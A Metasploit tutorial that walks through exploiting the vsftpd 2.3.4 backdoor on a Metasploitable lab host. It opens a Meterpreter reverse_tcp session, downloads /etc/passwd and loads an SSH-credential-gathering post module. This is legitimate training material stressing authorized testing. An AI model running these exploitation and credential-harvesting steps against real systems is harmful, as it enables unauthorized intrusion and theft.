Metasploit Penetration Testing Hands-On: Exploit and Security Assessment Guide

Get started with the Metasploit Framework from scratch: environment install, database initialization, module search, exploit execution, and Meterpreter session setup, plus verification in an authorized lab and common troubleshooting.

The Metasploit Framework is the most widely used exploit and penetration-testing toolkit in security. This article covers install, configuration, and authorized-lab use so you can run the core Metasploit workflow end to end, with verification you can reproduce in an authorized environment.

Scope

The Metasploit Framework applies to:

• Vulnerability verification and risk assessment on systems you own or are authorized to test
• Attack-surface reconnaissance before internal pentests or red-team exercises
• Reproducing public CVEs to confirm patches took effect
• Security operators studying exploit mechanics to improve a defensive view

Important: Metasploit may only be used on systems you are legally authorized to test. Unauthorized testing of others' systems is illegal.

Prerequisites

• Linux server or VM (Ubuntu 22.04 / Kali Linux recommended), 2GB+ RAM
• Target lab (local target such as Metasploitable 2, DVWA, or your own lab server)
• root or sudo
• Network reachability to the target (same LAN or required ports allowed)

Design

Metasploit is modular:

• Exploit: exploit code for a specific vulnerability, e.g. MS17-010 EternalBlue against SMB
• Payload: code run after a successful exploit, e.g. reverse_tcp shell, Meterpreter
• Auxiliary: scanners, brute force, recon
• Post: post-session privilege escalation, collection, lateral movement
• Encoder: encode/obfuscate payloads to evade signature detection

Typical flow: search modules → set target and options → choose payload → run exploit → Meterpreter session → post-exploitation.

Procedure

1. Install Metasploit

Kali Linux ships Metasploit. On Ubuntu and similar, use the official installer:

# Install dependencies
sudo apt update && sudo apt install -y curl postgresql postgresql-contrib

# Official one-shot installer
curl https://raw.githubusercontent.com/rapid7/metasploit-framework/master/msfinstall -o msfinstall
chmod +x msfinstall && sudo ./msfinstall

# Verify
msfconsole --version

2. Initialize the database

Metasploit stores the vuln DB, host records, and credentials in PostgreSQL:

# Start PostgreSQL
sudo systemctl start postgresql

# Initialize the msf database
sudo msfdb init

# Check database status
msfdb status

After init, `msfconsole` connects automatically. Commands such as `db_nmap` write scan results into the database.

3. Start and search modules

msfconsole

# Search SMB-related exploit modules
msf6> search type:exploit smb

# Search by CVE
msf6> search cve:2026

# Search a service
msf6> search vsftpd

Results show module paths such as `exploit/unix/ftp/vsftpd_234_backdoor`. Load with `use`.

4. Configure and run an exploit

Example: classic vsftpd 2.3.4 backdoor (Metasploitable 2 lab target):

msf6> use exploit/unix/ftp/vsftpd_234_backdoor

# Show module options
msf6 exploit(vsftpd_234_backdoor)> show options

# Set target IP (lab target)
msf6 exploit(vsftpd_234_backdoor)> set RHOSTS 192.168.56.101

# Set payload (interact shell)
msf6 exploit(vsftpd_234_backdoor)> set PAYLOAD cmd/unix/interact

# Run
msf6 exploit(vsftpd_234_backdoor)> run

On success you get a shell. RHOSTS (target), LHOST (listener), and LPORT (listen port) are the three critical options. Reverse payloads require the target to reach your listener port.

5. Meterpreter session

A reverse shell is limited; prefer Meterpreter:

# Switch to Meterpreter payload
msf6 exploit(vsftpd_234_backdoor)> set PAYLOAD linux/x64/meterpreter/reverse_tcp
msf6 exploit(vsftpd_234_backdoor)> set LHOST 192.168.56.1
msf6 exploit(vsftpd_234_backdoor)> set LPORT 4444
msf6 exploit(vsftpd_234_backdoor)> run

# Common Meterpreter commands after session
meterpreter> sysinfo          # target system info
meterpreter> getuid           # current user
meterpreter> shell            # drop to system shell
meterpreter> download /etc/passwd  # download a file
meterpreter> background       # background the session

6. Session management and post-exploitation

# List sessions
msf6> sessions -l

# Interact with a session
msf6> sessions -i 1

# Post module (e.g. collect SSH keys)
msf6> use post/multi/gather/ssh_creds

Verification

Confirm the environment:

• `msfdb status` prints `Connected to msf` → database OK
• `msfconsole` starts clean; `db_nmap -sV <target IP>` ingests results
• After an exploit against the lab target, `sessions -l` shows the session
• Meterpreter `sysinfo` returns the target OS version

If any step fails, see FAQ below.

FAQ

FAQ 1: msfconsole cannot connect to the database?

Usually PostgreSQL is down or msfdb was never initialized. Run `sudo systemctl start postgresql`, then `sudo msfdb init`. If it still fails: `sudo msfdb delete && sudo msfdb init`.

FAQ 2: Exploit ran but no session?

Check three things: (1) RHOSTS and LHOST are correct and reachable (`ping`); (2) for reverse shells, the firewall allows LPORT; (3) target service version matches the module—confirm with `db_nmap -sV`. Try a different payload (e.g. bind_tcp instead of reverse_tcp).

Summary

This article walks Metasploit from install, database init, module search, and exploitation through Meterpreter sessions. Metasploit is both an attacker toolkit and a way for defenders to measure their own controls. Practice on dedicated labs such as Metasploitable. All testing must be authorized. For enterprises, regularly verifying patches and controls with Metasploit is a low-cost piece of defense in depth.